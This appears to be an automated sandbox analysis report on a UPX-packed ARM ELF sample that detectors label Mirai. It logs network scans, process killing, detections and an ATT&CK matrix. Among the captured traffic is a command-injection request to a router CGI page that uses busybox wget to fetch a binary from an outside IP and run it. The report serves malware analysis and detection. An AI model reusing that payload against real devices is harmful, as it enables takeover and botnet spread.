20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 Not Found</title> </head> <body> <h1>404 Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 23 Nov 2023 04:18:17 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 23 Nov 2023 04:18:20 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveAccess-Control-Allow-Origin: *Access-Control-Allow-Headers: Accept,Authorization,Cache-Control,Content-Type,DNT,If-Modified-Since,Keep-Alive,Origin,User-Agent,X-Mx-ReqToken,X-Requested-WithAccess-Control-Allow-Methods: GET, POST, OPTIONSData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found

Source: 7Ueun89KE3.elf, 5419.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5421.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5541.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5571.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5553.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5423.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5540.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5428.1.00007fd47c017000.00007fd47c028000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 7Ueun89KE3.elf, 5419.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5421.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5541.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5571.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5553.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5423.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5540.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5428.1.00007fd47c017000.00007fd47c028000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 7Ueun89KE3.elf	String found in binary or memory: http://upx.sf.net

Source: unknown

HTTP traffic detected: POST /cgi-bin/ViewLog.asp HTTP/1.1Host: 192.168.0.14:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.20.0Content-Length: 227Content-Type: application/x-www-form-urlencodedData Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Source: unknown

DNS traffic detected: queries for: daisy.ubuntu.com

Source: LOAD without section mappings

Program segment: 0x8000

Source: /tmp/7Ueun89KE3.elf (PID: 5421)	SIGKILL sent: pid: 936, result: successful			Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	SIGKILL sent: pid: 936, result: successful			Jump to behavior

Source: classification engine

Classification label: mal68.troj.evad.linELF@0/0@2/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/490/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/790/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/792/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/793/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/795/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/797/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/778/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/855/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/914/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/936/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/816/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/780/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/660/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/783/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/765/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/767/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/802/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/726/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/803/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5421)	File opened: /proc/727/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/490/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/790/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/792/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/793/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/795/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/797/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/778/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/855/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/914/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/936/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/816/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/780/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/660/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/783/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/765/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/767/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/802/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/726/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/803/fd	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	File opened: /proc/727/fd	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55738
Source: unknown	Network traffic detected: HTTP traffic on port 33148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 60386
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 35242
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58628
Source: unknown	Network traffic detected: HTTP traffic on port 50806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 46764
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 46780
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 46764
Source: unknown	Network traffic detected: HTTP traffic on port 40548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 46816
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 46878
Source: unknown	Network traffic detected: HTTP traffic on port 38024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 46894
Source: unknown	Network traffic detected: HTTP traffic on port 40548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47060
Source: unknown	Network traffic detected: HTTP traffic on port 40802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47074
Source: unknown	Network traffic detected: HTTP traffic on port 38024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 56480
Source: unknown	Network traffic detected: HTTP traffic on port 49604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47120
Source: unknown	Network traffic detected: HTTP traffic on port 47506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47588
Source: unknown	Network traffic detected: HTTP traffic on port 49184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47610
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 51972
Source: unknown	Network traffic detected: HTTP traffic on port 49184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 41830
Source: unknown	Network traffic detected: HTTP traffic on port 34678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 53860
Source: unknown	Network traffic detected: HTTP traffic on port 34678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52302
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52328
Source: unknown	Network traffic detected: HTTP traffic on port 33096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52352
Source: unknown	Network traffic detected: HTTP traffic on port 47506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52400
Source: unknown	Network traffic detected: HTTP traffic on port 49184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52454
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 33876
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52508
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 33892
Source: unknown	Network traffic detected: HTTP traffic on port 50944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 33908
Source: unknown	Network traffic detected: HTTP traffic on port 33096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52536
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 33932
Source: unknown	Network traffic detected: HTTP traffic on port 50944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 34108
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52734
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 34110

Source: 7Ueun89KE3.elf

Submission file: segment LOAD with 7.9491 entropy (max. 8.0)

Source: /tmp/7Ueun89KE3.elf (PID: 5419)

Queries kernel information via 'uname':

Jump to behavior

Source: 7Ueun89KE3.elf, 5419.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5421.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5541.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5571.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5553.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5423.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5540.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5428.1.0000562a50127000.0000562a50375000.rw-.sdmp	Binary or memory string: P*V!/etc/qemu-binfmt/arm
Source: 7Ueun89KE3.elf, 5419.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5421.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5541.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5571.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5553.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5423.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5540.1.0000562a50127000.0000562a50375000.rw-.sdmp, 7Ueun89KE3.elf, 5428.1.0000562a50127000.0000562a50375000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: 7Ueun89KE3.elf, 5419.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5421.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5541.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5571.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5553.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5423.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5540.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5428.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: 7Ueun89KE3.elf, 5419.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5421.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5541.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5571.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5553.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5423.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5540.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp, 7Ueun89KE3.elf, 5428.1.00007ffd8509c000.00007ffd850bd000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/7Ueun89KE3.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/7Ueun89KE3.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Mirai

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	11 Obfuscated Files or Information	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	5 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Scheduled Transfer	3 Ingress Tool Transfer			Data Encrypted for Impact	Server	Gather Victim Network Information

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
7Ueun89KE3.elf	46%	ReversingLabs	Linux.Trojan.Mirai
7Ueun89KE3.elf	29%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://192.168.0.14:80/cgi-bin/ViewLog.asp	0%	Avira URL Cloud	safe
http://192.168.0.14:80/cgi-bin/ViewLog.asp	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.168.0.14:80/cgi-bin/ViewLog.asp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://upx.sf.net	7Ueun89KE3.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	7Ueun89KE3.elf, 5419.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5421.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5541.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5571.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5553.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5423.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5540.1.00007fd47c017000.00007fd47c028000.r-x.sdmp, 7Ueun89KE3.elf, 5428.1.00007fd47c017000.00007fd47c028000.r-x.sdmp	false	high
